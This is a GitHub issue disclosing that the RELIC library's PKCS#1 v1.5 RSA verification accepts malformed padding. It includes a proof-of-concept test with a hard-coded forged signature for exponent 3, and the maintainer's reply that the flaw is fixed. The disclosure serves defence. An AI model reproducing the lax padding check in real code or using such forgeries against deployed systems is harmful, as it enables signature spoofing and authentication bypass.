New issue

Jump to bottom

PKCS1v1.5 implementation and Bleichenbacher-style small exponent signature forgery #154

Closed **1one-w01f** opened this issue on Jun 29, 2020 · 1 comment

1one-w01f commented on Jun 29, 2020

Hi there,

As I was testing the PKCS1v1.5 implementation inside RELIC, it appears to me that it might be susceptible to a Bleichenbacher-style small exponent signature forgery.

In a nut shell, there are mainly 2 issues in the code (both in `relic_cp_rsa.c`) that enables the attack:

1. The checks on the first 2 bytes to see whether they are indeed `0x00 | 0x01` actually doesn't lead to rejection of malformed inputs. Although line 345 and line 351 will set `result = RLC_ERR` if the prefix bytes do not match the expectation, the `result` variable is never checked later and will get overwritten on line 374, hence the **first 2 bytes can take any arbitrary values** and the signature verification will still go through.
2. More importantly, the `do{ ... } while` loop on line 357 only checks that the padding has not been terminated with a zero, but it doesn't actually require the each of the padding bytes to be `0xFF` , and because of this, the **padding can take arbitrary non-zero values** and the signature verification will still go through.

Together, this opens up the possibility of a Bleichenbacher-style small exponent signature forgery.

Here is a proof-of-concept forgery attack, based on the `test_cp.c` given in the source tree:

```
/**
 * @file
 *
 * Tests for implementation of cryptographic protocols.
 *
 * @version $Id$
 * @ingroup test
 */

#include <stdio.h>

#include "relic.h"
#include "relic_test.h"

#define MODULUS_SIZE_IN_BITS RLC_BN_BITS
#define MSG "hello world"

static int rsa(void) {
	int code = RLC_ERR;

	uint8_t sig[MODULUS_SIZE_IN_BITS / 8 + 1] =
	{   0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x4a, 0xaf, 0xb8, 0x5f, 0xc2, 0x18, 0xd1,
0xf8, 0x39, 0x09, 0x15, 0x71, 0x0f, 0x6d, 0xc2, 0x93, 0x61, 0x55, 0xd9, 0x36, 0xbd, 0xae, 0xbe, 0x84, 0x60,
0x9b, 0xfa, 0x5c, 0xe4, 0x52, 0x27, 0xde, 0x78, 0x02, 0xcc, 0xd0, 0xa6, 0xee, 0x67, 0x94, 0x9d, 0xfd, 0x92,
0x85, 0x4f, 0x08, 0x35, 0x7f, 0x20, 0x2b, 0x55, 0x12, 0x1b, 0x81, 0xbf, 0xc2, 0x31, 0x1c, 0x2d, 0x95, 0x20,
0xff, 0x88, 0x3c, 0x3c, 0x24, 0x37, 0x1f, 0x2f, 0x68, 0xd4, 0x8b, 0xd0, 0x00, 0x19, 0xbb, 0x83, 0x0b, 0xc7,
0x3f, 0x55, 0xf4, 0x40, 0x3d, 0x9e, 0x31, 0x8a, 0x36, 0xbe, 0x67, 0x6c, 0x97, 0x27, 0x9f, 0xa8, 0x52, 0xbb,
0x3e, 0xb6, 0x63, 0xaa, 0x2b, 0xb9
	};
	int ol = MODULUS_SIZE_IN_BITS / 8 + 1;

	rsa_t pub;
	rsa_null(pub);

	RLC_TRY {

		rsa_new(pub);

		// set e to 3
		bn_set_2b(pub->e, 1);
		bn_add_dig(pub->e, pub->e, 1);

		// set n
		bn_read_str(pub->crt->n, "af5110f2c75400a4ceb31b3763303f71b6ee517dad3b108fd4b675774c9e2d5649784c2b3ba6b93b80175c79db9619b73b5b1e575f65faadfc613fa00b449895407ff696581eb

		TEST_BEGIN("rsa signature/verification is correct") {
			TEST_ASSERT(cp_rsa_ver(sig, ol, MSG, strlen(MSG), 0, pub) == 1, end);
		} TEST_END;

	} RLC_CATCH_ANY {
		RLC_ERROR(end);
	}
	code = RLC_OK;

end:
	rsa_free(pub);
	return code;
}

int main(void) {

	if (core_init() != RLC_OK) {
		core_clean();
		return 1;
	}

	util_banner("Tests for the CP module", 0);

#if defined(WITH_BN)

	util_banner("Protocols based on integer factorization:\n", 0);

	if (rsa() != RLC_OK) {
		core_clean();
		return 1;
	}

#endif

	util_banner("All tests have passed.\n", 0);
```

```
        core_clean();
        return 0;
}
```

proof-of-concept already serves the purpose.

Such a forgery should only work when `e` is small enough (which in most cases means `e = 3`), and although RELIC by default doesn't generate RSA keys with `e = 3`, there is a possibility that someone might use `e = 3` for specific application & interoperability needs, and nothing in the API is prohibiting the programming from doing it.

In any case, unless the plan is to completely drop the support of PKCS1v1.5, I'd suggest to have the issues in `relic_cp_rsa.c` fixed, as it is definitely possible (and not really that difficult) to make the signature verification much more robust.

More details on the Bleichenbacher-style signature forgery can be found in academic papers like this and this.

Finally, though it shouldn't matter much, this is the script I used (`preset/debug.sh`) to configure the build:

```
#!/bin/bash

cmake -DCHECK=on \
 -DALLOC=DYNAMIC \
 -DCOLOR=off \
 -DUSEENVCFLAGS=1 \
 -DWSIZE=8 \
 -DARCH= \
 -DDEBUG=on \
 -DSHLIB=on \
 -DSTLIB=on \
 -DTESTS=1 \
 -DBENCH=0 \
 -DWITH=ALL \
 -DBN_PRECI=2496 \
 -DCP_RSAPD=PKCS1 \
 $1
```

1one-w01f mentioned this issue on Jun 29, 2020

buffer overflow in PKCS1v1.5 signature verification #155

Open

dfaranha closed this as completed in `76c9a1f` on Aug 1, 2020

dfaranha commented on Aug 1, 2020 — Contributor

Thanks! This code is probably the most embarrassing part of the library. It was written ages ago for a performance experiment and never really rewritten. I suspect there are many more issues hanging in there.

I want to take the opportunity to discontinue support for PKCS 1.5, but first I need to check about practical deployments. In any case, I improved the implementation by inverting the padding logic (assuming it fails first and toggle return in case it passes) and checking more rigorously the pass conditions.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants